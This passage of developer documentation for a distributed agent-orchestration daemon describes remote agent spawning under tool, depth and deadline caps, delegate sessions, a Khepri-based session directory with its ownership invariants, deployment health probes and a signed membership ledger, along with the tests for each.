executors and pools), a `profile` that must be a `[profiles.<name>]`, a `tools`
ceiling (`default_tools` is every built-in tool except `agent_spawn`,
`remember`, `peer_*` and `schedule_*`), and `max_depth`, `max_sessions` (at most
16), `max_within_s`, `default_within_s` and `retain_s`. The decoder refuses a
`default_within_s` above `max_within_s` and a `retain_s` below it, naming both
values, because either may be a default the file never wrote. `find` and
`by_node` resolve a spawner; the port uses `by_node` on the node a message came
from. A new key means `spawners.row`, `scripts/config_keys.sh` and
`docs/configuration.md`.
- The orchestrator name grammar is the profile grammar, which excludes `@` and `#`.
A remote handle's parse (`{strand}#{operation}@{orchestrator}`) depends on that,
and `orchestrators_test` pins it.
- `remote_spawn` is the plain-data vocabulary: `Parent`, `Origin` (the sender's
node beside the parent), `CallSite`, `Request` with `Detach`, `Spawned`, `Joined`
(`Ready | Pending`), `ChildUsage`, and `SpawnRefusal` with `Cap`. It reuses
`tools/agent`'s `Handle`, `Minter`, `Outcome`, `TerminalResult` and
`ResultSchema`. S1's temporary `Unimplemented` refusal is gone. The module also
holds the pure half of taking a message to the Agency: `Terms` (the spawner's
figures in milliseconds), `Delegation` (the parent, its depth and tools, the
terms), `agent_request` (judges the deadline and the tool names against the
terms and builds `tools/agent.SpawnRequest`: a deadline is always finite, above
the cap is refused and not clamped, a name outside the ceiling is
`ToolOutsideCeiling`, context is always fresh), `clamp_tools` and `refusal_of`
(the Agency's refusals as the sender reads them; the one cap refusal is named
by the number it hit, and a tie is `FanOut`). `join_cap_ms` (25 000) is the
longest one join waits.
- `orchestrator_port.Message` gains `Spawn`, `Join` and `RunEnded`. `answer` runs
each through `detached`, as it does `Activate`, so none of them delays an
`Owns`. `detached` now hands its computation the requester's node
(`ffi_remote.node_of`, a stock `erlang:node/1` binding: there is no pure way to
ask where a pid lives). The functions behind the messages are a `SpawnHost`
that `start_with` takes as a fifth argument. `refusing_spawns()` is the host of
`start`, `start_serving` and `start_importing`, and answers `UnknownSpawner`.
`daemon/main.spawn_host(config.spawners, delegates)` is the production host: a
node no spawner names gets `UnknownSpawner(node)`, and a configured one is
served by the `agency.DelegateEndpoint` that `delegates(spawner, parent)`
returns (`delegate_host.resolver` in the daemon). The spawn carries the
spawner's `delegate_host.terms_of`. A host that crashes sends nothing, so the
asker's deadline reads silence. `ask_spawn`, `ask_join` and `ask_run_ended` are
the thin sending ends the tests use; slice S3 builds the real one on
`remote_peer` and uses the first two. Nothing sends `RunEnded` in phase 1.
- The delegate session (slice S2). `delegate_host.resolver(Context)` is the step
between the port and an Agency: `manager.delegate_session` finds or creates the
session of a (spawner, parent session) pair in one registry turn, under
`max_sessions`, through `create_scoped` with `SessionOnly`, with a request key
derived from the pair, and records it in the catalogue
(`catalogue.claim_delegate`). The resolver then waits (`open_budget_ms`, 20 s,
`weft/poll`) for the session to become resident and returns its
`DelegateEndpoint`. The endpoint is a field of `serve.Instance` and
`serve.Resident` (`spawns`), three closures over the Agency holder's name and a
trimmed `Config`; keep them small, because `manager.resolve` copies the
projection to the caller. A placement is `creation`: an executor or pool
workspace is kept as written, a directory is canonicalized.
`movable` in the manager answers `AdminNotMovable` for a session with a
catalogue delegate row. Not built in S2: refusing members on a delegate session.
- `agency` serves a remote parent through `delegate_spawn`, `delegate_join` and
`delegate_run_ended`, each a call into the holder or a wait outside it, and
`delegate_endpoint` projects the three. `spawn_on` takes a private `Source`
(`Local | Delegated(Delegation)`). A delegated caller is the reference `^main`
with the call site's coordinates, so `child_name` and `adopt` run unchanged. For
a delegated source: the depth is the message's plus one against the spawner's
`max_depth`; the parent's tools are the message's, clamped to the ceiling before
the holder sees them; the base configuration is the session's own `main`
strand; the brief's origin is `PeerOrigin(parent session, parent strand)`. The
ended fence `delegate/ended/{operation}` is read by `admit_run` only on the path
that creates or finishes a child, not on adoption, and written by `run_ended_in`
inside the holder before `reap_run_in`. `run_ended_in` counts the runs the
operation owns that were `Unstopped`, so a repeat counts nothing. `delegate_join`
cuts its window to `join_cap_ms`, waits as `^{strand}` (`wait_for`, which `wait`
also uses) and adds each settled child's usage from `child_usage.of_strands`
(one ledger scan, rows summed by branch entry). Grandchildren inside a delegate
session are still bounded by the Agency's own `depth_cap`, not `max_depth`.
- `runtime/api` refuses a strand name starting with `^`
(`InvalidStrandName`), in `seed_strand`, and reserves the `delegate/` fact
prefix.
The laptop's side (slice S3):
- `remote_child` is the parent's durable record. `Stub` is `remote-child/{call
site digest}` (`agent.call_site_digest` of the caller), written by `admit` before
anything is sent and holding the orchestrator, the parent strand, the call site,
the parent's depth and tools, the whole `remote_spawn.Request` and the child's
derived name. Its `State` is `Requested` (the spawn is owed), `Spawned(Placed)`,
`Settled(Placed, Outcome, ChildUsage)` or `Refused(reason)`. `admit` expects the
cell absent and returns `Existing` for the stub already there. `spawned`,
`refused` and `settled` are compare-and-set steps that leave a stub alone once it
has left the state the step starts from: a late `Spawned` never undoes a
`Settled`, but it does move a `Refused`, because an answer that names a child
means the child exists. `spawned` writes the lineage cell
(`orchestrator: Some(..)`, `detached: True`) before the stub moves. A refusal
never removes a stub: the effect process that hears one and the drainer both
record `Refused`, so a later answer from the other asker of the same call site
still has a stub to move, and the child is never left with a lineage cell and no
stub. `is_live(stub, now)` is true for `Requested`, and for `Spawned` until
`placed.deadline_ms`, so a stub frees its slot by the clock with no network.
The decoders are total. The only reserved prefix is `remote-child/`.
- A remote child is always detached. `agency.remote_request` sends `Detached`
whatever `detach` the model gave, and the child outlives the run that asked for
it, bounded by its deadline and the box's retention sweep. Nothing on the
laptop sends `RunEnded` in phase 1: `reap_run` aborts the local children and
stops there. The port's `RunEnded` message and the box-side fence are S2's and
stay, for the phase that releases children.
- `remote_reach.Reach` is what the Agency asks through: `session`, the
`orchestrators` it may name, `offered` (asked at each spawn: the owner holds the
session alone) and the two functions `spawn` (which also takes the most the call
may wait, in milliseconds) and `join`, each answering `Ok`,
`Error(Refused(reason))` or `Error(Unreachable)` as peer mail's endpoints do. It
is its own module because `orchestrator_port` sits above the Agency in the
module graph (`notice -> owner_services -> remote/protocol -> remote/address ->
orchestrator_port`); the Agency cannot import the port. `spawn_ms` (30 s) is the
longest one spawn call waits. `remote/remote_spawner.over_distribution` is the
production reach: it resolves the name through the configured `[orchestrators]`,
connects to the pinned peer and calls `orchestrator_port.ask_spawn` and
`ask_join` (the spawn's window as given, a join's window plus 2 s). A name that
is not configured is a definitive refusal. `daemon/main.reach_of` builds one per
session, with `offered` reading `manager.unshared_sessions`;
`serve.Settings.remote_reach` carries it to `agency.Config.remote`.
- `agency` admits `agent_spawn` with `on` through the holder (`AdmitRemote` ->
`admit_remote`: the depth cap, `check_capacity` counting live stubs beside live
cells, then `write_stub`), and runs the network on the caller's process
(`ask_until_answered`: `poll.until_on` on the Agency's clock, doubling 50 ms to
2 s, for `remote_window_ms` = 30 s; each attempt is told to wait only what is
left of that window). A refusal is recorded as `Refused` (`record_refusal`) and
answers `RemoteRefused`, unless the drainer was answered with a child first, and
then the stub says `Spawned` and the model gets the child; the window running out
answers `RemoteSilent` and leaves the stub `Requested`. Every exit that leaves the stub for the drainer, and every
`Spawned` write, calls `config.remote_queued`. `is_live` is false for a cell with
an `orchestrator`, and the stub carries the count. `context: my_conversation`, an
unknown `on`, an unshared session and a background program are refused before
anything is written. `wait` reads the stubs: a handle is remote when a stub holds
it (the `@orchestrator` suffix is parsed and dropped), and a wait with any
remote handle is `wait_across`, which runs the local wait and one `Join` per
orchestrator as `weft` tasks. An unreachable join gives `Pending(unanswered:
Some(orchestrator))`, a refused one `RemoteRefused`, and a `Ready` entry moves the
stub to `Settled`. `roster` lists local cells and then `remote_peers` from the
stubs, with a `Spawned` stub whose deadline has passed shown as `PastDeadline`.
`send` to a remote child is refused by `refuse_remote_child`.
- `remote_drain.pass` is the second `peer_outbox_drain` instance's pass, in two
steps over one read of the stubs, and the orchestrators the spawn step found
silent are skipped by the join step. `spawn_pass` resends each `Requested` stub,
skips an orchestrator that did not answer earlier in the same step, keeps a
refusal it learns as `Refused`, reports `Owed` after it records a child as
`Spawned` (the join step does not see that child until the next pass), and has
no time to live. `join_pass` settles children nobody waits on: it groups the
`Spawned` stubs whose deadline has not passed by (orchestrator, parent strand),
sends one `Join` with a window of 0 for each group, and records every `Ready`
with `remote_child.settled`. It stores no report, since a later `agent_wait`
reads it again from the box. A pass is `Owed` while any child is running, so the
drainer ticks every 5 s, and `Clear` when none is, so it goes idle; a stub past
its deadline is not asked about. A refused join is logged and not retried within
the pass; its slots are released by the deadline. `peer_outbox_drain.Options` is
`{pass, after}`; `options` builds the peer-mail instance and `over` any other;
`Backlog` is public. `serve` supervises both beside each other in the
restartable service tier, rung by name (`outbox_queued`, `remote_queued`).
Not in S3: the box's deadline tick and retention sweep (S4), the shipped test and
the P model (S5), remote token metering (a child nobody waits on runs to its
`within_ms`, bounded by `max_within_s`), the stub's usage counting against a
goal's token budget or appearing in a status bar, releasing a child early (phase
2), and refusing `sessions.move` for a parent that holds a live stub.
Tests: `spawners_test` (a valid table, defaults, every refusal, the catalogue
parser), `orchestrators_test` (the `@` and `#` refusal),
`remote/orchestrator_port_test` (each message reaches the host with its origin,
refusals, a slow answer not delaying `Owns`, a crashing host),
`remote_spawn_test` (the pure half), `daemon_spawn_host_test` (the production
host's answers and what the Agency is told), `delegate_host_test` (the creation
for each placement, the cap, an invalid parent, a session that cannot open),
`daemon_manager_test` (the registry's half and `not_movable`) and `agency_test`
(a remote parent against a live Agency: adoption, the fence, run end, join with
usage, the cap on a join's window, the ceiling, the caps, and the whole path
through a real port). For the laptop's side, `agency_test` runs the parent against
`support/fake_orchestrators` (a table from call site to child, with `Up`, `Down`,
`LosesReplies`, `Refuses` and counted modes, and a record of the spawn and join
windows it was given): the stub written ahead, resends that leave one child, the
window clip, a refusal that keeps the stub `Refused` and a later answer that moves
it, the drainer adopting after a restart, a pass asking a silent orchestrator
once, a run end that sends nothing, an un-waited child settled by a pass, a stub
past its deadline freeing its slot while the box is down, the caps, mixed waits,
the roster and the refusals. `remote_child_test` is the codec and `is_live`,
`remote_reach_test` the empty reach, and `peer_outbox_drain_test` has an instance
over another pass.
## Explicit browser result reads
Protocol change 079 adds keyed result-page and result-download GETs. Each request
uses `server.page_grant` before and after its bounded read and resolves the entry
through the authorized resident's `result_reader`. `serve.Resident` holds only
that storage reader and its existing handles, never the runtime effect graph.
`ui_result` reads one fragment per viewer page or a complete bounded byte tree
under a shared five-second download deadline. No component callback or result
ledger is registered in `ui_sessions`.
## Offline LSP readiness and diagnostics scope
Automatic code-mode selection admits a workspace seed only after `seed.verify`
accepts it; an incomplete snapshot therefore falls through to the bundled
seed. An explicit seed flag remains authoritative and receives its own failure.
`lsp/manager.connect_jailed` resolves host Git before composing the downloader
and offline-server environments. `host_git.tool_path` changes subprocess lookup
without granting filesystem reads or network authority.
The manager owns one package server at a time. `diagnostics(None)` always returns
a partial `Unsettled` snapshot, while explicit file queries retain their own
server acquisition and settlement. A healthy control cannot certify unavailable
owners elsewhere in the workspace. Protocol 078 records that scope contract.
## Switching a session's profile (protocol 082)
`profile_get` and `profile_set` are session commands
([protocol 082](../../protocol-change/082-session-profile-switch.md)), answered
by a `profile` snapshot (`protocol.ProfileSnapshot`: `current`, `available`, and
`switched` only in the reply to a switch). The decoder reads an absent `profile`
as the default roles and refuses null, the empty string and a malformed name
(`optional_profile`). `ProfileSet` is owner-only (`gateway.owner_only` now
answers the refusal words) and is not a read.
The hub reaches the daemon through `profile_switch.Desk`, which
`serve.Settings.profile_desk` carries from the daemon's builder
(`daemon/main.profile_desk`) to `gateway.with_profile_desk`. A hub with no desk
answers `unsupported`. `gateway.set_profile` refuses while `State.live` is
non-empty, answers the listing for the profile the session already has, loads
the entering catalogue (`desk.load` → `daemon/profiles.load`), computes the
strands to move with `catalog.retargets` against `State.catalog`, saves the name
(`desk.save` → `manager.set_profile` → `catalogue.set_profile`), rewrites the
moved strands' models in one commit through `apply_changes` (the half of
`apply_config` after validation), replies, and calls `desk.restart`
(`daemon/restart.begin`: a `spawn_unlinked` stop and open that outlives the
session, because every weft start is linked to its caller). A strand follows a
role while its model is that role's head; a model chosen with `/model` heads no
role and stays. `default` is reserved: `catalog.default_profile`, refused as a
profile table name at load.
`Settings` gained `profile_desk`, so every `serve.Settings` literal in the tests
carries `profile_desk: None`.
## The session directory in Khepri (protocol-change/083)
A deployment may add a `[directory]` table, which makes the listed orchestrators
and executors the members of one Khepri cluster. Khepri then holds the single
authoritative record of which orchestrator owns each remote session (one created
with an executor or a pool), and every change of owner is one compare-and-set on
that record. Local sessions are recorded too, as lookup hints that never decide
anything. The catalogue rows stay as each daemon's local write-ahead memory.
A daemon without `[directory]` runs phases 3 and 5 exactly as the two sections
above describe. `docs/architecture/directory.md` is the design,
ADR-020 the choice of Khepri and its measurements, and
`protocol/models/session-move/KhepriMove.tla` the model.
- `internal/ffi_khepri` and `client_khepri_ffi.erl` are the only calls into
Khepri 0.19.3 and Ra 3.2.0. The shim starts Loom's own Ra system
(`loom_directory_ra`) and store (`loom_directory`) under
`<state root>/directory`, normalizes every return to `{ok, _}`,
`{error, {mismatch, Found}}`, `{error, no_quorum}`, `{error, not_running}`
or `{error, {unexpected, Term}}` (an answer it does not recognise, printed),
and catches exceptions at the boundary. The non-voter join is one primitive
per Ra call (`join_start`, `join_remove`, `join_add`, `join_promoted`,
`join_finish`), each answering `Done`, `Again` or `Failed(reason)`;
`store.join` sequences them over `weft/poll` under one deadline.
- `directory/record` is `Record(owner, state)` with `OwnerState` `Serving |
Local | Moving(op, to)`, stored as `{loom_owner, 1, Owner, State}` at
`[loom, sessions, Id]`, and the marker `{loom_migrated, 1}` at
`[loom, migrated, Node]`. Its decoder is total: node names go through
`distribution.check_node_name` and the op through `catalogue.is_move_op`, and a
payload that does not decode is an error, never an absent record. The payload
types are opaque, so no `@external` leaves `internal/`.
- `directory/store` wraps the shim: `start_system`, `boot` (one member, creating
the store when Ra knows no server: only bootstrap uses it), `restart` (the
start of a member that has joined; it refuses when Ra has no record of the
member's server, because `boot` would create a second one-member cluster),
`join(node, within_ms, seat)` (`Seat` is `Voter | Learner`), `remove_member(name)`,
`read` (local, `favor => low_latency`),
`read_consistent` (`khepri:fence/2`, then a local read), `create`, `swap`,
`delete_if`, `mark_migrated`, `membership`, `running_on(node)` and the `joined`
marker file (`mark_joined` writes Ra's `names.dets` to disk first, since Ra
flushes it on a 500 ms timer and the marker is what selects `restart`). Every
call that can wait on a quorum runs in a weft run under a
deadline (`write_ms` 3000, `activation_ms` 5000, `read_ms` 3000), because the
consistent path ignores its own timeout without a majority. `WriteRefusal` is
`NoQuorum(reason) | Mismatch(found)`.
- `directory/settings` reads `[directory] members` (refused beside a ledger,
where `from_ledger` derives the members): three to seven distinct
nodes, this node among them, every other one a pinned peer, and on a member
every `[orchestrators.<name>]` node a member. An even count is accepted with a
warning. `catalog` knows the key and `scripts/config_keys.sh` and
`docs/configuration.md` document it.
- `distribution` takes `Cluster` (`NotMember | Member(members)`). A member
starts with `hidden => false` and is refused unless the VM booted with
`-kernel connect_all false` (`BootRefusal` `ConnectAllEnabled`); the launchers
pass it with the TLS flags. `Peer.link` is `visible | hidden`, and
`distribution.connect` uses `net_kernel:connect_node/1` only when both ends
are members, so a link between members is visible whoever dials first.
- `directory/member` is the member's actor (`weft/actor`, a 2 s tick). It keeps a
link to every configured member missing from `nodes()`, backing off by
doubling to 30 s, and joins a member with no joined store through the first
member whose store runs (`store.running_on`, then `store.join` under a 60 s
deadline, then the marker). With a ledger its members are `Followed`, read
from the ledger on every tick, and it also reconciles on the Ra leader (see
"The membership ledger, the session directory" below). A store with the marker starts at `member.start`
through `store.restart` and a refusal is a failed start whose message names
the remedy (remove the marker and the member rejoins; for a one-member
cluster, remove the directory and bootstrap again). `member.status`
answers `directory.status`.
- `directory/ownership` is the record of write functions bound to this node:
`create`, `begin_move`, `activate`, `abandon`, `release`, `record_local`,
`release_local`, `mark_migrated`, `seed_moving`, the two reads and
`migrated`. Only an orchestrator builds one (`main.ownership_of`: a daemon
with a ledger is one when the ledger says its node is an orchestrator, because its
rows change while it runs and the value is built once; a daemon without one decides
from the executors, pools or orchestrators in its file), so an executor member never
writes. `create` and `begin_move` answer a record already holding their
value as committed. Tests bind two names over one shared book
(`test/support/record_book`), because two registries in one VM share a node.
- `session_directory.khepri` is the lookup over the local copy, after the daemon's
own catalogue: a tombstone there (`Moved(to)`) is `Elsewhere` its receiver
without a read, as `peers` answers it, so a restarted member whose copy lags or
is not joined still says where a session it handed away went. Otherwise
absent is `Unknown`, this node `Here`, another node `Elsewhere` (the configured
row, or a row carrying the node name), and an unreadable store `Unavailable(reason)`,
which the server refuses `no_quorum` and peer mail treats as `Unreachable`.
`as_member` adds the `ownership` and the `standing` (`Member(status)`) the
server reads.
- `daemon/main` builds it all when `Config.directory` is set: `start_directory`
starts the Ra system and the member actor (`Config.member`),
`session_directory_of` chooses the Khepri lookup, and `start_movers` gives the
movers `Recorded(ownership)` authority and a `session_movers.Upkeep`:
`directory/migrate.seed` and `directory/deletion.finish_pending` on every
tick, `migrate.cover_local` when local records are wanted, and
`ownership.release_local` for a deleted local session.
- `daemon/manager` gains `reserve` (a registration reserved without opening it),
`begin_delete`, `unmark_deleting`, `finish_delete`, `deleting_sessions`,
`remote_registrations` and `local_sessions`. `prepare_slot` reads the deletion mark in the turn
that reserves a slot and refuses `SessionDeleting` (code `busy`).
- `daemon/server`: a remote `sessions.create` on a member reserves, then
`ownership.create`, then creates (`recorded`); `no_quorum` keeps the
reservation. A remote `sessions.delete` goes through `directory/deletion.finish`:
mark, conditional record delete, then the registration; `not_owner`, `moving`
and `no_quorum` are its refusals. `directory.status` and `sessions.move` with
`abandon: true` (`protocol.AbandonMove`) are member-only. `inbound_settled` is
skipped on members. A local creation asks the movers for the local records
(`Control.cover`) and does not wait; a local delete asks them to forget the
record (`Control.forget`).
- `session_mover` takes `Authority` (`Rows | Recorded(ownership)`). Under
`Recorded` it waits for this node's migration marker (`migrated`), writes the
intent (`intended`: a record naming another owner carries on, an absent one is
`Gone`, deleted elsewhere after the seed, and `gone` sets the copy aside as a
retirement does, never reverting), retires only after a consistent read names another
owner (`retire_recorded`), and abandons by the record first
(`abandon_recorded`). An abandon carries its `Cause`: one that followed an
answer and finds the record naming another owner retires; one that followed
silence (`give_up`) returns `Deferred` and the next run asks the receiver
again, because a receiver that crashed between its CAS and its import
finishes only when asked (`taken_elsewhere`). `give_up` passes the same
`migrated` check as a run. A stall a give-up could not cure (no quorum, not
seeded, receiver already owns it) is `Deferred`, not `Stalled`.
`session_movers` gives up a move after `give_up_after_ms` (30 min) of
`Stalled` runs, and only once the receiver's marker exists;
`Control.abandon` is the owner's hand-abandon.
- `session_importer.recorded` makes the activation compare-and-set before the
import. A mismatch naming this node imports (a catalogue `Conflict` there is
answered `Accepted`); any other owner or no record is `Refused(MoveEnded)` and
drops only the incoming copy; `NoQuorum` is `Failed`.
- `directory/migrate.cover_local` writes `{self, local}` for every confirmed
local session missing from this member's copy. The movers run it at boot and
after `Control.cover`, and keep it wanted until a pass succeeds: a request
count and the count the last successful pass covered, so a creation during a
pass is covered by the next.
- `directory/migrate.seed` copies a version 13 catalogue's remote registrations
into the store once: resident and imported become `serving` (or the activation
for an imported session whose sender already wrote `moving`), moving becomes
`moving` unless the receiver already owns it, moved writes nothing. A record
naming another daemon is logged `directory.migration_conflict` and left. The
marker is written last, once per node name, and nothing checks afterwards that
every remote session has a record: a seeded member must not drop and re-add
`[directory]` or change its node name, since sessions created in between have
no record and a move of one would set it aside as deleted. To leave, move or
delete its remote sessions first; to rename, decommission it and bootstrap or
join it as a new member.
- `daemon/directory_cli` is `loomd directory bootstrap`: it refuses without
`[directory]`, with a store on disk (the `joined` marker or a Ra server
directory; the Ra system's own files do not count), while the daemon runs
(it takes the endpoint reservation), and when a reachable member already
runs a store. Each refusal names its remedy.
Invariants that break things when violated:
- A local transition that stops this daemon serving (`moving`, the deletion
mark) is written in the registry turn before the record changes, and one that
lets it serve (`imported`, the revert to `resident`) only after the record
write that grants it committed. `KhepriMutantIntendBeforeStop` and
`KhepriMutantImportBeforeCAS` are the model's checks.
- The receiver refuses a session its own row holds in any other state, `moving`
included, before it writes the record (`activated` asks the catalogue first).
Writing first can hand the record to a node that then cannot import, and the
copy holding the newest version is dropped (`KhepriMutantImportOverMoving`).
- Every write expects a literal value; the activation and the abandon expect the
same `moving` record, so exactly one commits. A blind write of either gives two
owners.
- The source sets its file aside only on a consistent read naming another owner.
A local read can be from before this daemon owned the session.
- A receiver never removes a session the record says it owns, and refuses only
when the record names someone else: once it owns the record, an import that
cannot finish is `Failed` and the copy stays (`owned_import`,
`kept_if_owned`).
- No Khepri call runs inside a registry turn, and every one is bounded by a weft
deadline. Opening a session makes no Khepri call.
- A local session's record is `Local`, never `Serving`, so no move or remote
delete can use it as a compare-and-set base, and writing it never gates a
creation. A stale one (a lost `forget`, or a delete from the web page, which
does not ask) names the right owner, which answers `not_found`.
- A given-up move retires only on the receiver's answer
(`KhepriMutantRetireOnSilence`).
- A missing record after the seed never grants serving: it means the owner
deleted the session, and the source sets its copy aside
(`KhepriMutantGoneReverts`).
Tests: `directory/record_test`, `directory/store_test`, `directory/ownership_test`,
`directory/settings_test`, `directory/migrate_test`, `directory/bootstrap_cli_test`
and `directory/daemon_record_test` (the store tests are serial: the store is a
VM-wide singleton); the `Recorded` cases of `session_mover_test`,
`session_importer_test` and `session_directory_test`; the
`members_visible`, `members_not_transitive`, `member_needs_connect_all_off` and
`directory_rejoin` scenarios of `distribution_test`; the directory cases of
`distribution_provision_test`; and the shipped member variants of
`daemon_shipped_remote_move_test`, `daemon_shipped_directory_test` and
`daemon_shipped_peer_mail_test`, with `daemon_shipped_directory_quorum_test`.
## Reading the deployment (protocol-change/085)
`deployment.status` is an owner-only control command that says which of the
nodes the daemon is configured with answer its own connection attempts, before
any session is placed on one. `docs/architecture/distributed.md` ("Reading the
deployment") is the account and `docs/client-protocol.md` §3.29 the wire.
- `client/deployment` is the whole read. `targets` lists the daemon's
`[orchestrators]` rows and then its `[executors]` rows (a `Target` with its
`Kind`), `only` narrows them to a configuration key, and `probe` connects to
every target at once in one weft run (`connect_ms` 1000 each, `deadline_ms`
3000 in all). `Reach(self, dial)` is how it connects: `over(membership, self)`
is `distribution.peer` then `distribution.connect`, and `alone(self)`, for a
daemon with no `[distribution]`, connects to nobody. A task that returns
`Error(why)` is a `Failed` outcome carrying `why`, a task the deadline cut off
is `Down(TimedOut)`, and a crash is `Down(Unavailable)`: a node nothing was
heard from is never assumed up.
- The only names ever dialled are `Target.node` values from the daemon's own
tables. The request's `node` is a key: `status` resolves it with `only` before
`probe` runs, so a key the configuration lacks returns `Error(Nil)` and nothing
was dialled. `protocol.node_field` holds it to the shape of a key first
(`bad_request` otherwise). `daemon_deployment_test` and `deployment_test` assert
the dial record is empty in both cases.
- `Health` is `Reachable | Down(Why)` with `Why` = `TimedOut | Unreachable |
Unavailable` (wire words `timeout`, `unreachable`, `unavailable`). A node is
`ok` or `down`; `degraded` is reserved on the wire and arrives with the node
reports, which need a `Report` constructor on the orchestrator port and are not
built. Every node member beyond `node`, `name`, `roles`, `state` and `reason`
(when `down`) is optional so that report adds members and replaces none. The
whole deployment's `state` is `deployment.verdict` (`Whole`, `Degraded`,
`Lost`) over the configured nodes, not counting the asking daemon, which is
always reachable: `ok` when all answered, `down` only when none did, `degraded`
between. One dead executor among several is a degraded deployment.
- `Snapshot` is `Overview` (the asking daemon as a `Node`, `others`, `edges`,
`placements`) or `Selected` (only the named nodes), so a reply with a `node`
filter cannot carry edges or placements. Edges are `Serves` (executors) and
`Peers` (orchestrators), each with the asking daemon's own `Link`. Placements
are `ready | down` for an executor in this slice, and a pool lists
`pools.candidates` in its trial order with `eligible` the reachable ones; the
pool is never reordered by health.
- `server.Config.deployment` is the `Reach`; `main.deployment_reach` builds it
from `Config.membership` and the node's own name. `server.deployment_status`
adds `MemberRole` to the asking daemon when `directory.standing` is `Member`,
and the owner check comes before any connection, so a member cannot make the
daemon dial. The orchestrators come from `Control.orchestrators` (the movers'
list, which is the `[orchestrators]` table on a daemon with distribution).
- The home page's creation panel reads the same placements without the rest of
the deployment (protocol-change/085, `docs/architecture/web-view.md`,
"Executors and pools"). `deployment.placed` connects to the executors alone,
and `deployment.for_page` reduces the result to `web_view/placements` (a state,
the operator's declaration, a pool's trial order and its reachable members; no
node name or address). `server.HomeAttachment` gains `pools` (the startup
capture of the `[pools]` names, like `executors`) and `placements`, the blocking
read, which `ui_socket.upgrade_home` hands the page as
`read_task(deliver, attachment.placements)` only where the page holds the
creation capability. `ui_socket.create_for` accepts `creations.Pooled`: the pool
and no executor reach `manager.Creation` (`pool_of`), the scope is session-only,
and the daemon's `pool_unknown` is `creations.UnknownPool`.
Tests: `deployment_test` (the pure read and the weft fan-out with a scripted
`dial`, including a stuck connection cut by the deadline and a crash, and
`placed` and `for_page`),
`daemon_deployment_test` (the control socket: the owner's reply, a member's
`forbidden`, a key narrowing the read, an unconfigured key and a malformed one
dialling nobody), the `deployment.status` cases of `daemon_protocol_test`, and
`daemon_shipped_deployment_test` (two real daemons; the executor's process ends
and the next read says `down`). For the creation panel: `ui_route_test` (a pooled
creation and `pool_unknown`) and `ui_socket_test` (a card needs no new event
class).
## The membership ledger, pure part (protocol-change/086, slice 1a)
`client/membership_entry`, `client/membership_ledger` and
`client/membership_signing` are the format and the fold of the signed membership
ledger that will replace the fixed `[[distribution.peers]]` list.
`docs/design-notes/membership-ledger.md` is the argument and
`protocol-change/086-membership-ledger.md` the normative format. This slice has
no file, no process, no `loom.toml` key and no wire message: nothing reads these
modules yet except their tests and the provisioning code below, and static pins
are unchanged.
- `membership_entry` is the bytes. An `Entry` is `seq`, `prev` (an `EntryId`),
`time` and a `Kind`: `Genesis(deployment, authority)`, `Upsert(Member)` (wire
word `member`) or `Revoke(name, pin, reason)`. `encode_body` writes the JSON with
the keys of the format in order; `read` is steps 1 through 3 of the acceptance
procedure (`parse_line`, then the injected verifier over `signing_input`, then
`decode_body`) and never parses a body whose signature failed. A reader does not
re-serialize: a `SignedEntry` keeps the exact `body` bytes, and its `id` is the
SHA-256 of them. `parse_line` also refuses a base64 half that is not the
canonical encoding of its bytes, which 086 states: without it a flipped last
character would still decode to the same bytes. `seal` is the
signer's side and does not validate the fields; `membership_ledger.check` does.
- `Signer` and `Verifier` are function values, so the module has no `@external`
and a test needs no key. `Verdict` is `Authentic | Forged`. `membership_signing`
builds the real pair from the authority PEMs through two functions added to
`client/internal/ffi_pki` (`sign`, `verify`), and `authority_pin` is the value a
genesis names.
- `membership_ledger` is the fold. A `Ledger` is opaque and immutable: the active
members by name, `ever` (every name enrolled), the head, and the identity applied
at each sequence number. `begin` and `start` take the genesis, `accept` runs the
whole procedure for one line, `apply` runs steps 4 through 7 for an entry already
read, and `replay` is `begin` followed by `accept` over a file. A refusal returns
`Error(Refusal)` and the caller keeps the ledger it had, which is how a fork
leaves a node unchanged. A duplicate and a gap are `Outcome`s and not refusals.
`Refusal` is `Unreadable(ReadError)`, `Fork(seq, ours, theirs)`, `Chain` or
`Invalid(Rule)`, and `step` gives the control protocol's word for each.
- The fold's rules are `Rule`: no node or pin shared with another active member,
links only to other active members, at most 64 active and 256 names ever, at
most 10,000 entries (`max_entries`), a revoke only of an active member, and a
genesis only first. A revoke also removes the revoked name from every remaining
member's `links`, which 086's fold states: a name enrolled again later must not
get its old edges back.
- `pin_table(ledger, name)` is the table for one node: each active member other
than `name` that is linked to it (either lists the other, or both have a
directory standing other than `none`). `lookup_pin` is what the verify callback
will read and `lookup_node` its inverse. A name that is not active has an empty
table and `enrollment` says whether it is `Revoked` or `NotEnrolled`. The caller
does the effects of steps 8 through 10 (append, publish, disconnect), in that
order.
- `check(ledger, entry)` is the signer's pre-flight: the entry must decode to
itself, follow the head and satisfy the fold.
- Tests: `membership_entry_test` (golden body strings, every malformed shape),
`membership_ledger_test` (each refusal, the bounds, the pin table),
`membership_ledger_property_test` (replay equals stepwise apply, prefixes,
flipped bits, swapped and removed entries, forks, equal tables, the pin table
against a model, symmetric links, no pin of a revoked name, totality over
arbitrary bytes) over `support/membership_fixture` (an HMAC stand-in for the
signature, so the laws need no key) and `support/membership_log` (a log builder
and a seeded generator that keeps the random operations the real fold accepts),
and `membership_signing_test` (the real ECDSA pair).
## The membership ledger, file and process (protocol-change/086, slice 1b)
`client/membership_store`, `client/ledger_service` and `client/ledger_boot` run
the pure ledger above on one node and replicate it between nodes. Nothing here
changes who may connect by itself: slice 1c below makes the ledger the trust list
through an observer.
- `membership_store` is the file: one signed line per entry, each followed by
`\n`. `open(path, verifier)` reads it (at most 64 MiB), drops a final line with
no `\n` (a write that did not finish, valid-looking or not) and cuts it from the
file, then replays the rest through `membership_ledger.replay`. A line the fold
refuses stops the open with `Corrupt(line, refusal)`, one-based; a missing or
non-text file is `Unreadable`, an empty one `NoGenesis`. `append` rewrites the
file beside the old one, fsyncs and renames it (`bootstrap.atomic_write_private`,
mode 0600), so a crash leaves the old file or the new one. That is O(file) per
entry, at most 10,000 entries, and it needs no new Erlang. `lines_after` serves
a pull within 64 lines and 256 KiB.
- `ledger_service` is the `loom_ledger` process, a `weft/state_machine` with the
phases `Quiet` and `Pulling(source, via)`. Its fixed registered name is
`ledger_service.default_name()`. Wire messages (closed, no catch-all):
`Head(seq, id, from: Subject(Message))` and `Pull(after, limit, reply:
Subject(Entries))`, answered by `Entries(lines, head_seq)`. `Head` carries the
sender's inbox because a message to a registered name does not say who sent
it; 086 now says so. Local calls: `offer(service, line, within)` returns
`Accepted(head) | AlreadyHeld | Behind(head) | Refused(refusal) |
